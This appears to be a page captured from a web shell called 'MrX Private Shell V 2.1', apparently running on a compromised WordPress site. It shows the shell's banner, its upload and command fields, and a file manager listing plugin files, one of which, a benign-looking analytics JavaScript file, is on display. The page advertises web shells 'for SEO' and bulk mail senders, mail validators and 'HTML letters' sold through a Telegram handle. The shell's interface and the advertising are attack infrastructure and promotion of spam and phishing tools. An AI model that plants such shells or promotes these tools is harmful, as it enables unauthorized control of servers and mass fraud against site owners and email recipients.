__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// Function for sending data
function sendDataIfAvailable() {
    // Creating an object to send
    const eventData = {
        events: [{
          "event": "WP-CTA-button-click",
          "content": "user click button Go to Dashboard",
        }]
    };

    // Converting Data to JSON String
    const jsonData = JSON.stringify(eventData);

    // Sending a request using the Fetch API
    fetch('https://api.userway.org/api/abn/events', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: jsonData,
    })
    .then(response => {
        if (!response.ok) {
        throw new Error('An error occurred while executing the request: ${response.statusText}');
        }
        return response.json();
    })
    .then(data => {
        // Handling a successful response from the server
        console.log('Response from the server:', data);
    })
    .catch(error => {
        // Error processing
        console.error('An error has occurred:', error.message);
    });
}

// Attach the function to the button's click event
document.addEventListener('DOMContentLoaded', (event) => {
    const button = document.getElementById('plugin-button-notice');
    if (button) {
        button.addEventListener('click', sendDataIfAvailable);
    } else {
        console.error('Button with ID "plugin-button-notice" not found.');
    }
});

Filemanager

Name Type Size Permission Actions
assets Folder 0775
admin.php File 3.72 KB 0775
api-script.js File 1.39 KB 0775
controller.php File 4.53 KB 0775
functions.php File 1.95 KB 0775
notifications.php File 10.16 KB 0775
Filemanager